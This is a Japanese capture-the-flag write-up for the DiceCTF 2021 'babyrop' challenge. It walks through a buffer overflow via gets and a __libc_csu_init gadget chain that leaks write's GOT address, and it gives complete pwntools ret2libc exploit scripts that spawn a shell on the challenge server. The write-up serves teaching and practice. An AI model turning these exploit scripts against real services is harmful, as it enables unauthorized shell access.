DiceCTF 2021 - babyrop
問題概要
"FizzBuzz101: Who wants to write a ret2libc"
nc dicec.tf 31924
Downloads
babyrop
nc
コマンドでアクセスしてみると、Your name:
と入力を求められるだけのシンプルなプログラムです。
解説
概要把握
取り敢えず初手無思考checksec。
$ checksec --file=./babyrop
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 ./babyrop
Partial RELRO/No Canary/No PIEです。シンプルにret2libcをすればよさそうです。
適当なツール(今回はghidra)で可視化し、プログラムの把握を行います。
- 64bit
- 入力は長さ
0x40
の箇所に任意長読み込みのgets(つまりpaddingは長さ0x48)
セキュリティ機構はあまり考えなくてもよい(くらいに何もない)ので必要な流れは以下の通りです。
- libc内の
write
関数の位置を取得する -
libc database searchを用いてlibcの特定、libc base addrの特定を行い、
system("/bin/sh")
に必要なsystem
と"/bin/sh"
の位置を調べる - payloadを投げる
libc leak
write
関数は引数を3つ取ります。そのため、rdi
、rsi
、rdx
の3つのレジスタに任意の値を入れられることが求められますが、使えそうなrop gadgetについてrp++を利用して検索すると、
0x004011d3: pop rdi ; ret ; (1 found)
0x004011d1: pop rsi ; pop r15 ; ret ; (1 found)
とrdi
、rsi
については見つかります。が、rdx
がありません。ごく普通のropは難しそうです。ところで、関数の引数が3つの場合においては__libc_csu_init
を用いた攻撃が有効であることがあります。詳しくはももテクの記事にありますが、
-
__libc_csu_init
の適切な箇所に飛んでスタックからレジスターの値を埋める - 同じ関数内の1の少し上の部分にもう一度飛んで関数呼び出しをする
- 自然と1に戻るので任意回3引数の関数を自由にスタックから呼び出せる
というものです。覚えておいて損は無いかと。
ということで、write@GLIBC
を出力してもらうためのコードがこちら。
from pwn import *
e = ELF("./babyrop")
rop = ROP(e)
rop.raw(0)
rop = ROP(e)
payload = b"A" * (0x40 + 8)
payload += p64(0x4011ca) # __libc_csu_init + 90 : pop rbx
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1 (for no loop)
payload += p64(1) # r12 (stdout)
payload += p64(e.got["gets"]) # r13 (for leak addr)
payload += p64(8) # r14 (output bytes)
payload += p64(e.got["write"]) # r15 (call addr)
payload += p64(0x4011b0) # __libc_csu_init + 64 : mov rdx, r14
io = remote("dicec.tf", 31924)
# io = process(["./babyrop"])
print(io.recvuntil("Your name: ") + payload)
io.sendline(payload)
print(io.recv(8))
io.interactive()
leakして出てきたアドレス0x00007f47d9a091d0
というアドレスをlibc database searchで検索します。
候補として3つ程出てきたのですが、gets
関数についてもアドレスの絞り込みを行ったり、総当たりで試すことでlibc6_2.31-0ubuntu9.1_amd64.so
っぽいです。ここまで分かったら[leakしたwrite@GOTのアドレス]-[libc内におけるwriteのオフセット]
を計算することでlibc base addrが計算できます。
ret2libcをする
この時点で
- libc base addr
- libc内の
system
関数の位置 - libc内の
"/bin/sh"
の位置
が分かっています。そのため、上のpayloadに加えてsystem("/bin/sh")
を実行するROPをすればOKです。今回は
-
write@GOT
のリーク、libc base addrの算出 - もう一度
main
に戻ってgets
を呼び出し -
system("/bin/sh")
の実行
という3段に分けました。
from pwn import *
e = ELF("./babyrop")
libc = ELF("./libc6_2.31-0ubuntu9.1_amd64.so")
payload = b''.join([b"A" * (0x40 + 8),
p64(0x4011c6), # __libc_csu_init + 86 : add rsp, 0x8
p64(0), # anything may be ok
p64(0), # rbx = 0
p64(1), # rbp = 1 (for no loop)
p64(1), # r12 (edi as stdout)
p64(e.got["write"]), # r13 (for leak addr)
p64(8), # r14 (output bytes)
p64(e.got["write"]), # r15 (call addr)
p64(0x4011b0), # __libc_csu_init + 64 : mov rdx, r14
b"deadbeef" * 7, # anything will do
p64(e.symbols["main"]) # repeat main process
])
io = remote("dicec.tf", 31924)
# io = process(["./babyrop"])
io.recvuntil("Your name: ")
io.sendline(payload)
libc.address = (u64(io.recv(8)) - libc.symbols["write"])
print("libc base is:", hex(libc.address))
payload = b"".join([b"A" * 0x48,
p64(0x4011d3), # pop rdi; ret
p64(next(libc.search(b"/bin/sh"))),
p64(libc.symbols["system"])
])
io.recvuntil("Your name: ")
io.sendline(payload)
io.interactive()
2回目のpayloadは非常にシンプルなのですが、1回目のpayloadは先程のコードから若干弄っています。0x4011ca
から0x4011c6
に飛ぶ場所を1命令分変えているのですが、これが無いと2回目のROPが上手く動作していないようです。ローカルで動かして原因把握するのは宿題にさせてください。
Discussion